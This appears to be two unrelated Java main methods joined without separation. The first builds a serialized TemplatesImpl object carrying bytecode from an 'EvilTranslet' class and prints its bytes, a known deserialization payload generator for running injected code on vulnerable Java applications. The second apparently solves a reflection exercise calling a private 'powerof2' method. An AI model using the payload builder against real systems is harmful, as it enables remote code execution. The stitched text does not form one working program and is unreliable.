public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("t.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Constructor templateCtor =
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
.getDeclaredConstructors()[2];
templateCtor.setAccessible(true);
System.out.println(templateCtor);
byte[] newByteCode = getBytes("EvilTranslet.class");
byte[] helper = getBytes("EvilTranslet$1.class");
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl template =
(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)
templateCtor.newInstance(
new byte[][] {newByteCode, helper},
"GregorSamsor",
null,
0,
new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
// writeField(template, "_bytecodes", new byte[][]{newByteCode, helper});
System.out.println(template);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(template);
byte[] bytes = bos.toByteArray();
System.out.print("{");
for (int i = 0; i < bytes.length; ++i) {
System.out.print(bytes[i]);
System.out.print(",");
}
System.out.println("}");
}
public static void main(String[] args) throws Exception {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int num = Integer.parseInt(br.readLine().trim());
Object o;
// Solution starts here
if (num < 1 || num > Math.pow(2, 30)) throw new Exception();
Solution ob = new Solution();
Class<?> c = Class.forName("Solution$Private");
Constructor<?> constructor = c.getDeclaredConstructor(Solution.class);
constructor.setAccessible(true);
o = constructor.newInstance(ob);
Method m = c.getDeclaredMethod("powerof2", new Class[] {int.class});
m.setAccessible(true);
String ans = (String) m.invoke(o, num);
System.out.println(num + " is " + ans);
// ends here
System.out.println(
"An instance of class: " + o.getClass().getSimpleName() + " has been created");
} // end of main